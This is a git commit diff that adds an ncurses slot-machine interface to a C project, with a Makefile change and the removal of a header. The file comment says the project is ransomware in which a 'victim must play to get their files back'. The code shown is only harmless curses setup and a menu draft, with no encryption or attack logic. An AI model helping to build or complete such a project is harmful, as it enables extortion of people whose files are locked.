diff options
| -rw-r--r-- | .gitignore | 1 | ||||
| -rw-r--r-- | src/Makefile | 5 | ||||
| -rw-r--r-- | src/main.c | 1 | ||||
| -rw-r--r-- | src/main.h | 6 | ||||
| -rw-r--r-- | src/screen.c | 137 | ||||
| -rw-r--r-- | src/screen.h | 6 |
6 files changed, 148 insertions, 8 deletions
| @@ -2,6 +2,7 @@ | |||
| 2 | test* | 2 | test* |
| 3 | 3 | ||
| 4 | encrypt | 4 | encrypt |
| 5 | screen | ||
| 5 | search | 6 | search |
| 6 | main | 7 | main |
| 7 | *.o \ No newline at end of file | 8 | *.o \ No newline at end of file |
diff --git a/src/Makefile b/src/Makefile index c140071..94d2674 100644 --- a/src/Makefile +++ b/src/Makefile | |||
| @@ -11,8 +11,11 @@ clean: | |||
| 11 | rm -rvf $(BINARY_FILES) | 11 | rm -rvf $(BINARY_FILES) |
| 12 | 12 | ||
| 13 | 13 | ||
| 14 | main: main.c main.h search.o encryption.o ll.o | 14 | main: main.c search.o encryption.o ll.o |
| 15 | 15 | ||
| 16 | encryption.o: encryption.c encryption.h | 16 | encryption.o: encryption.c encryption.h |
| 17 | screen: screen.c screen.h | ||
| 18 | $(CC) $(CFLAGS) screen.c -o screen -lncurses -lmenu | ||
| 19 | |||
| 17 | search.o: search.c search.h | 20 | search.o: search.c search.h |
| 18 | ll.o: ll.c ll.h \ No newline at end of file | 21 | ll.o: ll.c ll.h \ No newline at end of file |
| @@ -10,7 +10,6 @@ | |||
| 10 | 10 | ||
| 11 | #define _GNU_SOURCE | 11 | #define _GNU_SOURCE |
| 12 | 12 | ||
| 13 | #include "main.h" | ||
| 14 | #include "encryption.h" | 13 | #include "encryption.h" |
| 15 | #include "search.h" | 14 | #include "search.h" |
| 16 | #include "ll.h" | 15 | #include "ll.h" |
diff --git a/src/main.h b/src/main.h deleted file mode 100644 index fa9e338..0000000 --- a/src/main.h +++ /dev/null | |||
| @@ -1,6 +0,0 @@ | |||
| 1 | #ifndef __SLOTS__MAIN_H__2980986086219 | ||
| 2 | #define __SLOTS__MAIN_H__2980986086219 | ||
| 3 | |||
| 4 | |||
| 5 | |||
| 6 | #endif \ No newline at end of file | ||
diff --git a/src/screen.c b/src/screen.c new file mode 100644 index 0000000..d79ec3c --- /dev/null +++ b/src/screen.c | |||
| @@ -0,0 +1,137 @@ | |||
| 1 | /*** | ||
| 2 | * Screen - The actual point of this godforsaken project | ||
| 3 | * | ||
| 4 | * This file's goal is to "render" a slot machine that the soon-to-be unlucky victim must play to get their | ||
| 5 | * files back. To do this, I am using curses and probably the menu library to create the TUI. Once I figure | ||
| 6 | * out how to actually do this, everything should work hopefully maybe | ||
| 7 | * | ||
| 8 | Example window layout | ||
| 9 | |||
| 10 | Random Phrases list: | ||
| 11 | > WE CLOWN IN THIS MF, TAKE YO SENSITIVE ASS BACK TO @GENTOOMEMES | ||
| 12 | > R.I.P VxHeaven | ||
| 13 | > tmp(2) nuked by Smelly | ||
| 14 | > 99% of Randomware Operators quit before compromising a bank | ||
| 15 | > Equation Group wuz here | ||
| 16 | > Lazarus wuz here | ||
| 17 | > LockBit wuz here | ||
| 18 | > Sponsored by Equation Group | ||
| 19 | > Sponsored by Lazarus | ||
| 20 | > Sponsored by LockBit | ||
| 21 | > Free my boy Ross Ulbricht he did nothing wrong | ||
| 22 | > Stay off the dark web, kids | ||
| 23 | > FREE BITCOIN JUST 3 SPINS AWAY | ||
| 24 | > We all glow in the dark | ||
| 25 | > Shoutouts to Simpleflips | ||
| 26 | > Shoutouts to BugHunter | ||
| 27 | > Shoutouts to EyeDeeKay | ||
| 28 | > :beecat: | ||
| 29 | > :3 | ||
| 30 | |||
| 31 | ======================================================== (Window 1) (One line long, top of screen) | ||
| 32 | VX-GAMBLEGROUND: <Random phrase from list of phrases> | ||
| 33 | ======================================================== (End Window 1) (Takes up space between top & bottom windows) | ||
| 34 | ======================================================== (Window 2) | ||
| 35 | |||
| 36 | SLOTS HERE | ||
| 37 | |||
| 38 | ======================================================== (End Window 2) | ||
| 39 | ======================================================== (Window 3) (One line long, bottom of screen) | ||
| 40 | > Spin > Buy Spins > Quit | ||
| 41 | ======================================================== (End Window 3) | ||
| 42 | */ | ||
| 43 | |||
| 44 | #define _GNU_SOURCE | ||
| 45 | |||
| 46 | #include "screen.h" | ||
| 47 | #include <curses.h> | ||
| 48 | #include <menu.h> | ||
| 49 | #include <locale.h> | ||
| 50 | |||
| 51 | #include <errno.h> | ||
| 52 | #include <error.h> | ||
| 53 | |||
| 54 | #include <stdio.h> | ||
| 55 | #include <stdlib.h> | ||
| 56 | |||
| 57 | #define STATIC_ARRSIZE(arr) (sizeof((arr)) / sizeof((arr)[0])) | ||
| 58 | |||
| 59 | static const char *menu_choices[] = { | ||
| 60 | "Spin", | ||
| 61 | "Buy spins", | ||
| 62 | "Quit", | ||
| 63 | NULL | ||
| 64 | }; | ||
| 65 | |||
| 66 | int main() { | ||
| 67 | if(setlocale(LC_ALL, "") == NULL) // Clear out the locale so it doesn't default to ncurses' ISO-8859-1 setting | ||
| 68 | error(1, errno, "Could not set proper locale"); | ||
| 69 | |||
| 70 | if(initscr() == NULL) // Initialize curses | ||
| 71 | error(1, errno, "Could not init standard screen"); | ||
| 72 | |||
| 73 | if(has_colors()) { // Init colors if available & create color pairings | ||
| 74 | start_color(); | ||
| 75 | |||
| 76 | // Init colors here | ||
| 77 | |||
| 78 | //init_color(); | ||
| 79 | } | ||
| 80 | |||
| 81 | cbreak(); // Disables character buffering | ||
| 82 | noecho(); // Disable echoing characters | ||
| 83 | keypad(stdscr, TRUE); // Enable keypad on the standard screen | ||
| 84 | |||
| 85 | int row = -1, col = -1; | ||
| 86 | getmaxyx(stdscr, row, col); | ||
| 87 | |||
| 88 | |||
| 89 | /* Ignore | ||
| 90 | for(int c = getch();; c = getch()) | ||
| 91 | mvaddch(c % row, c % col, c | A_BOLD); | ||
| 92 | //*/ | ||
| 93 | |||
| 94 | /* Menu example | ||
| 95 | ITEM **items; | ||
| 96 | MENU *menu; | ||
| 97 | |||
| 98 | items = calloc(STATIC_ARRSIZE(menu_choices) + 1, sizeof(ITEM*)); | ||
| 99 | if(items == NULL) | ||
| 100 | error(-1, errno, "Could not allocate space for menu items"); | ||
| 101 | |||
| 102 | for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) | ||
| 103 | items[i] = new_item(menu_choices[i], menu_choices[i]); | ||
| 104 | items[STATIC_ARRSIZE(menu_choices)] = NULL; | ||
| 105 | |||
| 106 | menu = new_menu(items); | ||
| 107 | mvprintw(LINES - 2, 0, "F1 to Exit"); | ||
| 108 | post_menu(menu); | ||
| 109 | refresh(); | ||
| 110 | |||
| 111 | int c; | ||
| 112 | while((c = getch()) != KEY_F(1)) { | ||
| 113 | switch(c) { | ||
| 114 | case KEY_DOWN: | ||
| 115 | menu_driver(menu, REQ_DOWN_ITEM); | ||
| 116 | break; | ||
| 117 | |||
| 118 | case KEY_UP: | ||
| 119 | menu_driver(menu, REQ_UP_ITEM); | ||
| 120 | break; | ||
| 121 | |||
| 122 | case KEY_ENTER: | ||
| 123 | break; | ||
| 124 | } | ||
| 125 | } | ||
| 126 | |||
| 127 | |||
| 128 | for(long unsigned int i = 0; i < STATIC_ARRSIZE(menu_choices); i++) | ||
| 129 | free_item(items[i]); | ||
| 130 | free_menu(menu); | ||
| 131 | //*/ | ||
| 132 | |||
| 133 | |||
| 134 | |||
| 135 | endwin(); // Clean up curses | ||
| 136 | return 0; | ||
| 137 | } \ No newline at end of file | ||
diff --git a/src/screen.h b/src/screen.h new file mode 100644 index 0000000..7795336 --- /dev/null +++ b/src/screen.h | |||
| @@ -0,0 +1,6 @@ | |||
| 1 | #ifndef __SLOTS__SCREEN_H__184802466018249 | ||
| 2 | #define __SLOTS__SCREEN_H__184802466018249 | ||
| 3 | |||
| 4 | // | ||
| 5 | |||
| 6 | #endif \ No newline at end of file | ||
